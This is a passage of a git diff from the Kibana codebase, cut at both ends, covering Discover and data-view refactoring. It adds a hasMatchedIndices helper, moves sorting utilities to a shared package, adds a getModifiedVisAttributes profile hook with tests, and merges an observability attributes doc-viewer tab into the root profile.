isComboBoxInvalid = !isDisabled && isInvalid; + return ( <> <> + isInvalid={isComboBoxInvalid} placeholder={i18n.translate( 'indexPatternEditor.editor.form.runtimeType.placeholderLabel', { diff --git a/src/platform/plugins/shared/data_views/common/data_views/abstract_data_views.ts b/src/platform/plugins/shared/data_views/common/data_views/abstract_data_views.ts index 6da94426c960d..e041b0a0eb367 100644 --- a/src/platform/plugins/shared/data_views/common/data_views/abstract_data_views.ts +++ b/src/platform/plugins/shared/data_views/common/data_views/abstract_data_views.ts @@ -235,6 +235,9 @@ export abstract class AbstractDataView { this.originalSavedObjectBody = this.getAsSavedObjectBody(); }; + /** + * Returns true if the data view is persisted, and false if the dataview is adhoc. + */ isPersisted() { return typeof this.version === 'string'; } @@ -557,4 +560,12 @@ export abstract class AbstractDataView { const clonedFieldAttrs = cloneDeep(Object.fromEntries(this.fieldAttrs.entries())); return new Map(Object.entries(clonedFieldAttrs)); }; + + /** + * Checks if there are any matched indices. + * @returns True if there are matched indices, false otherwise. + */ + hasMatchedIndices() { + return !!this.matchedIndices.length; + } } diff --git a/src/platform/plugins/shared/data_views/common/data_views/data_views.test.ts b/src/platform/plugins/shared/data_views/common/data_views/data_views.test.ts index 3980e66d16a6c..6ab9be3e6ce95 100644 --- a/src/platform/plugins/shared/data_views/common/data_views/data_views.test.ts +++ b/src/platform/plugins/shared/data_views/common/data_views/data_views.test.ts @@ -385,7 +385,7 @@ describe('IndexPatterns', () => { expect((await indexPatterns.get(id)).fields.length).toBe(1); }); - test('existing indices, so dataView.matchedIndices.length equals 1 ', async () => { + test('existing indices, so dataView.matchedIndices.length equals 1 and hasMatchedIndices() returns true', async () => { const id = '1'; setDocsourcePayload(id, { id: 'foo', @@ -396,9 +396,10 @@ describe('IndexPatterns', () => { }); const dataView = await indexPatterns.get(id); expect(dataView.matchedIndices.length).toBe(1); + expect(dataView.hasMatchedIndices()).toBe(true); }); - test('missing indices, so dataView.matchedIndices.length equals 0 ', async () => { + test('missing indices, so dataView.matchedIndices.length equals 0 and hasMatchedIndices() returns false', async () => { const id = '1'; setDocsourcePayload(id, { id: 'foo', @@ -412,6 +413,7 @@ describe('IndexPatterns', () => { }); const dataView = await indexPatterns.get(id); expect(dataView.matchedIndices.length).toBe(0); + expect(dataView.hasMatchedIndices()).toBe(false); }); test('savedObjectCache pre-fetches title, type, typeMeta', async () => { diff --git a/src/platform/plugins/shared/discover/public/application/context/hooks/use_context_app_fetch.tsx b/src/platform/plugins/shared/discover/public/application/context/hooks/use_context_app_fetch.tsx index baefb780af23d..ad7caf53daea9 100644 --- a/src/platform/plugins/shared/discover/public/application/context/hooks/use_context_app_fetch.tsx +++ b/src/platform/plugins/shared/discover/public/application/context/hooks/use_context_app_fetch.tsx @@ -14,6 +14,7 @@ import { Markdown } from '@kbn/shared-ux-markdown'; import type { DataView } from '@kbn/data-views-plugin/public'; import { SortDirection } from '@kbn/data-plugin/public'; import type { DataTableRecord } from '@kbn/discover-utils/types'; +import { getEsQuerySort, getTieBreakerFieldName } from '@kbn/discover-utils'; import { fetchAnchor } from '../services/anchor'; import { fetchSurroundingDocs, SurrDocType } from '../services/context'; import type { ContextFetchState } from '../services/context_query_state'; @@ -24,10 +25,6 @@ import { } from '../services/context_query_state'; import type { AppState } from '../services/context_state'; import { useDiscoverServices } from '../../../hooks/use_discover_services'; -import { - getTieBreakerFieldName, - getEsQuerySort, -} from '../../../../common/utils/sorting/get_es_query_sort'; import { useScopedServices } from '../../../components/scoped_services_provider'; const createError = (statusKey: string, reason: FailureReason, error?: Error) => ({ diff --git a/src/platform/plugins/shared/discover/public/application/context/services/context.ts b/src/platform/plugins/shared/discover/public/application/context/services/context.ts index 569fdc51544b6..78504b329cbb9 100644 --- a/src/platform/plugins/shared/discover/public/application/context/services/context.ts +++ b/src/platform/plugins/shared/discover/public/application/context/services/context.ts @@ -12,13 +12,13 @@ import type { DataView } from '@kbn/data-views-plugin/public'; import type { DataPublicPluginStart, ISearchSource } from '@kbn/data-plugin/public'; import type { DataTableRecord } from '@kbn/discover-utils/types'; import type { SearchResponseWarning } from '@kbn/search-response-warnings'; +import { getEsQuerySort } from '@kbn/discover-utils'; import type { SortDirection } from '../utils/sorting'; import { reverseSortDir } from '../utils/sorting'; import { convertIsoToMillis, extractNanos } from '../utils/date_conversion'; import { fetchHitsInInterval } from '../utils/fetch_hits_in_interval'; import { generateIntervals } from '../utils/generate_intervals'; import { getEsQuerySearchAfter } from '../utils/get_es_query_search_after'; -import { getEsQuerySort } from '../../../../common/utils/sorting/get_es_query_sort'; import type { DiscoverServices } from '../../../build_services'; import type { ScopedProfilesManager } from '../../../context_awareness'; diff --git a/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.test.tsx b/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.test.tsx index 448474eed905e..5bea71bc58510 100644 --- a/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.test.tsx +++ b/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.test.tsx @@ -28,6 +28,9 @@ import type { DiscoverCustomizationId } from '../../../../customizations/customi import { internalStateActions } from '../../state_management/redux'; import { dataViewMockWithTimeField } from '@kbn/discover-utils/src/__mocks__'; import { DiscoverTestProvider } from '../../../../__mocks__/test_provider'; +import type { ScopedProfilesManager } from '../../../../context_awareness'; +import { createContextAwarenessMocks } from '../../../../context_awareness/__mocks__'; +import type { TypedLensByValueInput } from '@kbn/lens-plugin/public'; const mockData = dataPluginMock.createStartContract(); let mockQueryState = { @@ -104,12 +107,17 @@ describe('useDiscoverHistogram', () => { return stateContainer; }; - const renderUseDiscoverHistogram = async ( - stateContainer: DiscoverStateContainer = getStateContainer() - ) => { + const renderUseDiscoverHistogram = async ({ + stateContainer = getStateContainer(), + scopedProfilesManager, + }: { + stateContainer?: DiscoverStateContainer; + scopedProfilesManager?: ScopedProfilesManager; + } = {}) => { const Wrapper = ({ children }: React.PropsWithChildren) => ( {children} @@ -183,7 +191,7 @@ describe('useDiscoverHistogram', () => { const stateContainer = getStateContainer(); const inspectorAdapters = { requests: new RequestAdapter(), lensRequests: undefined }; stateContainer.dataState.inspectorAdapters = inspectorAdapters; - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const lensRequestAdapter = new RequestAdapter(); const state = { timeInterval: '1m', @@ -205,7 +213,7 @@ describe('useDiscoverHistogram', () => { it('should not sync Unified Histogram state with the state container if there are no changes', async () => { const stateContainer = getStateContainer(); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const containerState = stateContainer.appState.getState(); const state = { timeInterval: containerState.interval, @@ -223,7 +231,7 @@ describe('useDiscoverHistogram', () => { it('should sync the state container state with Unified Histogram', async () => { const stateContainer = getStateContainer(); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const api = createMockUnifiedHistogramApi(); let params: Partial = {}; api.setTotalHits = jest.fn((p) => { @@ -247,7 +255,7 @@ describe('useDiscoverHistogram', () => { it('should exclude totalHitsStatus and totalHitsResult from Unified Histogram state updates', async () => { const stateContainer = getStateContainer(); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const containerState = stateContainer.appState.getState(); const state = { timeInterval: containerState.interval, @@ -281,7 +289,7 @@ describe('useDiscoverHistogram', () => { it('should update total hits when the total hits state changes', async () => { const stateContainer = getStateContainer(); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const containerState = stateContainer.appState.getState(); const state = { timeInterval: containerState.interval, @@ -324,7 +332,7 @@ describe('useDiscoverHistogram', () => { mockData.query.getState = () => mockQueryState; const stateContainer = getStateContainer(); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const containerState = stateContainer.appState.getState(); const error = new Error('test'); const state = { @@ -359,7 +367,7 @@ describe('useDiscoverHistogram', () => { const stateContainer = getStateContainer(); stateContainer.appState.update({ query: { esql: 'from *' } }); stateContainer.dataState.fetchChart$ = fetch$; - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); act(() => { fetch$.next(); }); @@ -380,7 +388,7 @@ describe('useDiscoverHistogram', () => { }, }) ); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); act(() => { fetch$.next(); }); @@ -394,7 +402,7 @@ describe('useDiscoverHistogram', () => { const savedSearchFetch$ = new Subject(); const stateContainer = getStateContainer(); stateContainer.dataState.fetchChart$ = savedSearchFetch$; - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); const api = createMockUnifiedHistogramApi(); act(() => { hook.result.current.setUnifiedHistogramApi(api); @@ -411,7 +419,7 @@ describe('useDiscoverHistogram', () => { test('should use custom values provided by customization fwk ', async () => { mockUseCustomizations = true; const stateContainer = getStateContainer(); - const { hook } = await renderUseDiscoverHistogram(stateContainer); + const { hook } = await renderUseDiscoverHistogram({ stateContainer }); expect(hook.result.current.onFilter).toEqual(mockHistogramCustomization.onFilter); expect(hook.result.current.onBrushEnd).toEqual(mockHistogramCustomization.onBrushEnd); @@ -421,4 +429,19 @@ describe('useDiscoverHistogram', () => { expect(hook.result.current.disabledActions).toBeUndefined(); }); }); + + describe('context awareness', () => { + it('should modify vis attributes based on profile', async () => { + const { profilesManagerMock, scopedEbtManagerMock } = createContextAwarenessMocks(); + const scopedProfilesManager = profilesManagerMock.createScopedProfilesManager({ + scopedEbtManager: scopedEbtManagerMock, + }); + scopedProfilesManager.resolveDataSourceProfile({}); + const { hook } = await renderUseDiscoverHistogram({ scopedProfilesManager }); + const modifiedAttributes = hook.result.current.getModifiedVisAttributes?.( + {} as TypedLensByValueInput['attributes'] + ); + expect(modifiedAttributes).toEqual({ title: 'Modified title' }); + }); + }); }); diff --git a/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.ts b/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.ts index b80f77b6b242f..53ec6fbabf762 100644 --- a/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.ts +++ b/src/platform/plugins/shared/discover/public/application/main/components/chart/use_discover_histogram.ts @@ -39,6 +39,7 @@ import type { SavedSearch } from '@kbn/saved-search-plugin/common'; import type { Filter } from '@kbn/es-query'; import { isOfAggregateQueryType } from '@kbn/es-query'; import { ESQL_TABLE_TYPE } from '@kbn/data-plugin/common'; +import { useProfileAccessor } from '../../../../context_awareness'; import { useDiscoverCustomization } from '../../../../customizations'; import { useDiscoverServices } from '../../../../hooks/use_discover_services'; import { FetchStatus } from '../../../types'; @@ -353,6 +354,14 @@ export const useDiscoverHistogram = ( [dispatch, setOverriddenVisContextAfterInvalidation, stateContainer.savedSearchState] ); + const getModifiedVisAttributesAccessor = useProfileAccessor('getModifiedVisAttributes'); + const getModifiedVisAttributes = useCallback< + NonNullable + >( + (attributes) => getModifiedVisAttributesAccessor((params) => params.attributes)({ attributes }), + [getModifiedVisAttributesAccessor] + ); + const chartHidden = useAppStateSelector((state) => state.hideChart); const timeInterval = useAppStateSelector((state) => state.interval); const breakdownField = useAppStateSelector((state) => state.breakdownField); @@ -401,6 +410,7 @@ export const useDiscoverHistogram = ( breakdownField, onBreakdownFieldChange, searchSessionId, + getModifiedVisAttributes, }; }; diff --git a/src/platform/plugins/shared/discover/public/application/main/data_fetching/update_search_source.ts b/src/platform/plugins/shared/discover/public/application/main/data_fetching/update_search_source.ts index 3066d41047c86..8f85ceddb41d9 100644 --- a/src/platform/plugins/shared/discover/public/application/main/data_fetching/update_search_source.ts +++ b/src/platform/plugins/shared/discover/public/application/main/data_fetching/update_search_source.ts @@ -11,9 +11,8 @@ import type { ISearchSource } from '@kbn/data-plugin/public'; import { DataViewType, type DataView } from '@kbn/data-views-plugin/public'; import type { TimeRange } from '@kbn/es-query'; import type { SortOrder } from '@kbn/saved-search-plugin/public'; -import { SORT_DEFAULT_ORDER_SETTING } from '@kbn/discover-utils'; +import { SORT_DEFAULT_ORDER_SETTING, getSortForSearchSource } from '@kbn/discover-utils'; import type { DiscoverServices } from '../../../build_services'; -import { getSortForSearchSource } from '../../../utils/sorting'; /** * Helper function to update the given searchSource before fetching/sharing/persisting diff --git a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.test.ts b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.test.ts index 8361497e2e9e5..30a087aace0b6 100644 --- a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.test.ts +++ b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.test.ts @@ -54,6 +54,35 @@ describe('getDefaultProfileState', () => { }).getPreFetchState(); expect(appState).toEqual(undefined); }); + + it('should return expected hideChart', () => { + let appState = getDefaultProfileState({ + scopedProfilesManager, + resetDefaultProfileState: { + resetId: 'test', + columns: false, + rowHeight: false, + breakdownField: false, + hideChart: true, + }, + dataView: dataViewWithTimefieldMock, + }).getPreFetchState(); + expect(appState).toEqual({ + hideChart: true, + }); + appState = getDefaultProfileState({ + scopedProfilesManager, + resetDefaultProfileState: { + resetId: 'test', + columns: false, + rowHeight: false, + breakdownField: false, + hideChart: false, + }, + dataView: emptyDataView, + }).getPreFetchState(); + expect(appState).toEqual(undefined); + }); }); describe('getPostFetchState', () => { diff --git a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.ts b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.ts index 1fa1db104ebe4..4a129154257bb 100644 --- a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.ts +++ b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_default_profile_state.ts @@ -44,7 +44,7 @@ export const getDefaultProfileState = ({ stateUpdate.breakdownField = defaultState.breakdownField; } - if (defaultState.hideChart !== undefined) { + if (resetDefaultProfileState.hideChart && defaultState.hideChart !== undefined) { stateUpdate.hideChart = defaultState.hideChart; } diff --git a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_state_defaults.ts b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_state_defaults.ts index 9932d2363f078..cb9d0ad445b3f 100644 --- a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_state_defaults.ts +++ b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_state_defaults.ts @@ -15,12 +15,13 @@ import { DEFAULT_COLUMNS_SETTING, DOC_HIDE_TIME_COLUMN_SETTING, SORT_DEFAULT_ORDER_SETTING, + getDefaultSort, + getSortArray, } from '@kbn/discover-utils'; import { isOfAggregateQueryType } from '@kbn/es-query'; import type { DataView } from '@kbn/data-views-plugin/common'; import type { DiscoverAppState } from '../discover_app_state_container'; import type { DiscoverServices } from '../../../../build_services'; -import { getDefaultSort, getSortArray } from '../../../../utils/sorting'; import { getValidViewMode } from '../../utils/get_valid_view_mode'; import { createDataViewDataSource, createEsqlDataSource } from '../../../../../common/data_sources'; diff --git a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_switch_data_view_app_state.ts b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_switch_data_view_app_state.ts index aaf2b447327fd..1fd26255dd3d6 100644 --- a/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_switch_data_view_app_state.ts +++ b/src/platform/plugins/shared/discover/public/application/main/state_management/utils/get_switch_data_view_app_state.ts @@ -12,7 +12,7 @@ import type { Query, AggregateQuery } from '@kbn/es-query'; import { isOfAggregateQueryType } from '@kbn/es-query'; import type { DataView } from '@kbn/data-views-plugin/public'; import type { SortOrder } from '@kbn/saved-search-plugin/public'; -import { getSortArray } from '../../../../utils/sorting'; +import { getSortArray } from '@kbn/discover-utils'; import type { DiscoverAppState } from '../discover_app_state_container'; import { createDataViewDataSource } from '../../../../../common/data_sources'; diff --git a/src/platform/plugins/shared/discover/public/components/data_types/logs/service_name_cell.tsx b/src/platform/plugins/shared/discover/public/components/data_types/logs/service_name_cell.tsx index 63066355a730d..9ebc6910efb7c 100644 --- a/src/platform/plugins/shared/discover/public/components/data_types/logs/service_name_cell.tsx +++ b/src/platform/plugins/shared/discover/public/components/data_types/logs/service_name_cell.tsx @@ -60,7 +60,8 @@ export const getServiceNameCell = icon={getIcon} rawValue={serviceNameValue} value={value} - property={serviceNameField} + name={serviceNameField} + property={field} core={core} share={share} /> diff --git a/src/platform/plugins/shared/discover/public/context_awareness/__mocks__/index.tsx b/src/platform/plugins/shared/discover/public/context_awareness/__mocks__/index.tsx index ab6e476d80d6e..762c7a09e3f79 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/__mocks__/index.tsx +++ b/src/platform/plugins/shared/discover/public/context_awareness/__mocks__/index.tsx @@ -97,6 +97,7 @@ export const createContextAwarenessMocks = ({ ], rowHeight: 3, breakdownField: 'extension', + hideChart: true, })), getAdditionalCellActions: jest.fn((prev) => () => [ ...prev(), @@ -113,6 +114,11 @@ export const createContextAwarenessMocks = ({ ...prev(), paginationMode: 'multiPage', })), + getModifiedVisAttributes: jest.fn((prev) => (params) => { + const prevAttributes = prev(params); + prevAttributes.title = 'Modified title'; + return prevAttributes; + }), }, resolve: jest.fn(() => ({ isMatch: true, diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/common/patterns/profile.ts b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/common/patterns/profile.ts index 44282fd296be6..15ba46b1554a5 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/common/patterns/profile.ts +++ b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/common/patterns/profile.ts @@ -11,6 +11,7 @@ import { isOfAggregateQueryType } from '@kbn/es-query'; import { extractCategorizeTokens, getCategorizeColumns, getCategorizeField } from '@kbn/esql-utils'; import { i18n } from '@kbn/i18n'; import type { DataGridCellValueElementProps } from '@kbn/unified-data-table'; +import type { XYState } from '@kbn/lens-plugin/public'; import { DataSourceType, isDataSourceType } from '../../../../../common/data_sources'; import type { DataSourceProfileProvider } from '../../../profiles'; import { DataSourceCategory } from '../../../profiles'; @@ -103,13 +104,25 @@ export const createPatternDataSourceProfileProvider = ( getDefaultAppState: (prev) => (params) => { return { ...prev(params), - hideChart: true, columns: [ { name: 'Count', width: 150 }, { name: 'Pattern', width: undefined }, ], }; }, + getModifiedVisAttributes: (prev) => (params) => { + const prevAttributes = prev(params); + + if (prevAttributes.visualizationType === 'lnsXY') { + const visualization = prevAttributes.state.visualization as XYState; + + if (visualization.tickLabelsVisibilitySettings) { + visualization.tickLabelsVisibilitySettings.x = false; + } + } + + return prevAttributes; + }, }, resolve: (params) => { if (!isDataSourceType(params.dataSource, DataSourceType.Esql)) { diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/index.ts b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/index.ts index b7f459c72bfa0..ad888b42b5610 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/index.ts +++ b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/index.ts @@ -7,17 +7,4 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import type { ProfileProviderServices } from '../../profile_provider_services'; -import { createObservabilityRootProfileProvider } from './profile'; -import { createObservabilityRootProfileProviderWithAttributesTab } from './sub_profiles/observability_root_profile_with_attributes_tab'; - -export const createObservabilityRootProfileProviders = ( - providerServices: ProfileProviderServices -) => { - const observabilityRootProfileProvider = createObservabilityRootProfileProvider(providerServices); - - return [ - createObservabilityRootProfileProviderWithAttributesTab(observabilityRootProfileProvider), - observabilityRootProfileProvider, - ]; -}; +export { createObservabilityRootProfileProvider } from './profile'; diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.test.ts b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.test.ts index ef0e2e6f38190..cc31cc44bff48 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.test.ts +++ b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.test.ts @@ -10,6 +10,8 @@ import { SolutionType } from '../../../profiles'; import { createContextAwarenessMocks } from '../../../__mocks__'; import { createObservabilityRootProfileProvider } from './profile'; +import { buildDataTableRecord } from '@kbn/discover-utils'; +import { DocViewsRegistry } from '@kbn/unified-doc-viewer'; const mockServices = createContextAwarenessMocks().profileProviderServices; @@ -90,4 +92,157 @@ describe('observabilityRootProfileProvider', () => { expect(defaultDataViews).toEqual([]); }); }); + + describe('getDocViewer', () => { + it('does NOT add attributes doc viewer tab to the registry when the record has no attributes fields', () => { + const getDocViewer = observabilityRootProfileProvider.profile.getDocViewer!( + () => ({ + title: 'test title', + docViewsRegistry: (registry) => registry, + }), + { + context: { + solutionType: SolutionType.Observability, + allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), + }, + } + ); + + const docViewer = getDocViewer({ + record: buildMockRecord('test-index', { + foo: 'bar', + }), + }); + + const registry = new DocViewsRegistry(); + + expect(docViewer.title).toBe('test title'); + expect(registry.getAll()).toHaveLength(0); + + docViewer.docViewsRegistry(registry); + + expect(registry.getAll()).toHaveLength(0); + }); + it('adds attributes doc viwer tab to the registry when the record has any attributes. field', () => { + const getDocViewer = observabilityRootProfileProvider.profile.getDocViewer!( + () => ({ + title: 'test title', + docViewsRegistry: (registry) => registry, + }), + { + context: { + solutionType: SolutionType.Observability, + allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), + }, + } + ); + + const docViewer = getDocViewer({ + record: buildMockRecord('test-index', { + 'attributes.foo': 'bar', + }), + }); + + const registry = new DocViewsRegistry(); + + expect(docViewer.title).toBe('test title'); + expect(registry.getAll()).toHaveLength(0); + docViewer.docViewsRegistry(registry); + + expect(registry.getAll()).toHaveLength(1); + + expect(registry.getAll()[0]).toEqual( + expect.objectContaining({ + id: 'doc_view_obs_attributes_overview', + title: 'Attributes', + order: 9, + component: expect.any(Function), + }) + ); + }); + it('adds attributes doc viwer tab to the registry when the record has any scope.attributes. field', () => { + const getDocViewer = observabilityRootProfileProvider.profile.getDocViewer!( + () => ({ + title: 'test title', + docViewsRegistry: (registry) => registry, + }), + { + context: { + solutionType: SolutionType.Observability, + allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), + }, + } + ); + + const docViewer = getDocViewer({ + record: buildMockRecord('test-index', { + 'scope.attributes.foo': 'bar', + }), + }); + + const registry = new DocViewsRegistry(); + + expect(docViewer.title).toBe('test title'); + expect(registry.getAll()).toHaveLength(0); + docViewer.docViewsRegistry(registry); + + expect(registry.getAll()).toHaveLength(1); + + expect(registry.getAll()[0]).toEqual( + expect.objectContaining({ + id: 'doc_view_obs_attributes_overview', + title: 'Attributes', + order: 9, + component: expect.any(Function), + }) + ); + }); + it('adds attributes doc viewer tab to the registry when the record has any resource.attributes. field', () => { + const getDocViewer = observabilityRootProfileProvider.profile.getDocViewer!( + () => ({ + title: 'test title', + docViewsRegistry: (registry) => registry, + }), + { + context: { + solutionType: SolutionType.Observability, + allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), + }, + } + ); + + const docViewer = getDocViewer({ + record: buildMockRecord('test-index', { + 'resource.attributes.foo': 'bar', + }), + }); + + const registry = new DocViewsRegistry(); + + expect(docViewer.title).toBe('test title'); + expect(registry.getAll()).toHaveLength(0); + docViewer.docViewsRegistry(registry); + + expect(registry.getAll()).toHaveLength(1); + + expect(registry.getAll()[0]).toEqual( + expect.objectContaining({ + id: 'doc_view_obs_attributes_overview', + title: 'Attributes', + order: 9, + component: expect.any(Function), + }) + ); + }); + }); }); + +const buildMockRecord = (index: string, fields: Record = {}) => + buildDataTableRecord({ + _id: '', + _index: index, + fields: { + _index: index, + ...fields, + }, + }); diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.tsx b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.tsx index 600433ca02e5e..60782d3cfacbd 100644 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.tsx +++ b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/profile.tsx @@ -10,7 +10,7 @@ import { SolutionType } from '../../../profiles'; import type { ProfileProviderServices } from '../../profile_provider_services'; import { OBSERVABILITY_ROOT_PROFILE_ID } from '../consts'; -import { createGetAppMenu, getDefaultAdHocDataViews } from './accessors'; +import { createGetAppMenu, getDefaultAdHocDataViews, getDocViewer } from './accessors'; import type { ObservabilityRootProfileProvider } from './types'; export const createObservabilityRootProfileProvider = ( @@ -20,6 +20,7 @@ export const createObservabilityRootProfileProvider = ( profile: { getAppMenu: createGetAppMenu(services), getDefaultAdHocDataViews, + getDocViewer, }, resolve: (params) => { if (params.solutionNavId !== SolutionType.Observability) { diff --git a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/sub_profiles/observability_root_profile_with_attributes_tab.test.ts b/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/sub_profiles/observability_root_profile_with_attributes_tab.test.ts deleted file mode 100644 index f4c43add32455..0000000000000 --- a/src/platform/plugins/shared/discover/public/context_awareness/profile_providers/observability/observability_root_profile/sub_profiles/observability_root_profile_with_attributes_tab.test.ts +++ /dev/null @@ -1,176 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import { buildDataTableRecord } from '@kbn/discover-utils'; -import { createContextAwarenessMocks } from '../../../../__mocks__'; -import { SolutionType } from '../../../../profiles'; -import { createObservabilityRootProfileProvider } from '../profile'; -import { createObservabilityRootProfileProviderWithAttributesTab } from './observability_root_profile_with_attributes_tab'; -import { DocViewsRegistry } from '@kbn/unified-doc-viewer'; - -const mockServices = createContextAwarenessMocks().profileProviderServices; - -describe('createObservabilityRootProfileProviderWithAttributesTab', () => { - const observabilityRootProfileProvider = createObservabilityRootProfileProvider(mockServices); - const observabilityRootProfileProviderWithAttributes = - createObservabilityRootProfileProviderWithAttributesTab(observabilityRootProfileProvider); - - describe('getDocViewer', () => { - it('does NOT add attributes doc viewer tab to the registry when the record has no attributes fields', () => { - const getDocViewer = observabilityRootProfileProviderWithAttributes.profile.getDocViewer!( - () => ({ - title: 'test title', - docViewsRegistry: (registry) => registry, - }), - { - context: { - solutionType: SolutionType.Observability, - allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), - }, - } - ); - - const docViewer = getDocViewer({ - record: buildMockRecord('test-index', { - foo: 'bar', - }), - }); - - const registry = new DocViewsRegistry(); - - expect(docViewer.title).toBe('test title'); - expect(registry.getAll()).toHaveLength(0); - - docViewer.docViewsRegistry(registry); - - expect(registry.getAll()).toHaveLength(0); - }); - it('adds attributes doc viwer tab to the registry when the record has any attributes. field', () => { - const getDocViewer = observabilityRootProfileProviderWithAttributes.profile.getDocViewer!( - () => ({ - title: 'test title', - docViewsRegistry: (registry) => registry, - }), - { - context: { - solutionType: SolutionType.Observability, - allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), - }, - } - ); - - const docViewer = getDocViewer({ - record: buildMockRecord('test-index', { - 'attributes.foo': 'bar', - }), - }); - - const registry = new DocViewsRegistry(); - - expect(docViewer.title).toBe('test title'); - expect(registry.getAll()).toHaveLength(0); - docViewer.docViewsRegistry(registry); - - expect(registry.getAll()).toHaveLength(1); - - expect(registry.getAll()[0]).toEqual( - expect.objectContaining({ - id: 'doc_view_obs_attributes_overview', - title: 'Attributes', - order: 9, - component: expect.any(Function), - }) - ); - }); - it('adds attributes doc viwer tab to the registry when the record has any scope.attributes. field', () => { - const getDocViewer = observabilityRootProfileProviderWithAttributes.profile.getDocViewer!( - () => ({ - title: 'test title', - docViewsRegistry: (registry) => registry, - }), - { - context: { - solutionType: SolutionType.Observability, - allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), - }, - } - ); - - const docViewer = getDocViewer({ - record: buildMockRecord('test-index', { - 'scope.attributes.foo': 'bar', - }), - }); - - const registry = new DocViewsRegistry(); - - expect(docViewer.title).toBe('test title'); - expect(registry.getAll()).toHaveLength(0); - docViewer.docViewsRegistry(registry); - - expect(registry.getAll()).toHaveLength(1); - - expect(registry.getAll()[0]).toEqual( - expect.objectContaining({ - id: 'doc_view_obs_attributes_overview', - title: 'Attributes', - order: 9, - component: expect.any(Function), - }) - ); - }); - it('adds attributes doc viwer tab to the registry when the record has any resource.attributes. field', () => { - const getDocViewer = observabilityRootProfileProviderWithAttributes.profile.getDocViewer!( - () => ({ - title: 'test title', - docViewsRegistry: (registry) => registry, - }), - { - context: { - solutionType: SolutionType.Observability, - allLogsIndexPattern: mockServices.logsContextService.getAllLogsIndexPattern(), - }, - } - ); - - const docViewer = getDocViewer({ - record: buildMockRecord('test-index', { - 'resource.attributes.foo': 'bar', - }), - }); - - const registry = new DocViewsRegistry(); - - expect(docViewer.title).toBe('test title'); - 